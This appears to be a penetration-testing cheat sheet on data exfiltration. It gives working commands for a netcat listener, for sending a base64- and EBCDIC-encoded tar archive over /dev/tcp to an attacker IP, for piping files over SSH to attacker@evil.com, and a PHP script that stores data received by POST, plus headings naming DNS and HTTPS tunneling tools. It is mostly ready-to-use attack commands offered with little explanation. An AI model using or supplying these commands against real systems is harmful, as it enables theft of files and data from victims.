Exfiltration

TCP

# Starts a listener on the attackers machine
nc -lvp 11223 > /tmp/stolen.data

# On the victim machine, encode the data and send it over socket
tar zcf - task4/ | base64 | dd conv=ebcdic > /dev/tcp/192.168.0.133/8080

# On attacker machine, decode and read data
cd /tmp && dd conv=ascii if=stolen.data |base64 -d > stolen.tar && tar xvf stolen.tar

SSH

# Sends data over ssh to attacker
tar cf - stolen/ | ssh attacker@evil.com "cd /tmp/; tar xpf -"

HTTP/S

PHP code to log data sent over post requests:

<?php 
if (isset($_POST['file'])) {
        $file = fopen("/tmp/http.bs64","w");
        fwrite($file, $_POST['file']);
        fclose($file);
   }
?>

Data Exfiltration:

Tunneling

Neo-reGeorg HTTPS tunneling tool

ICMP

DNS

DNS Tunneling TCP

Iodine DNS Tunneling Tool

Living off trusted sites

https://lots-project.com/

Last updated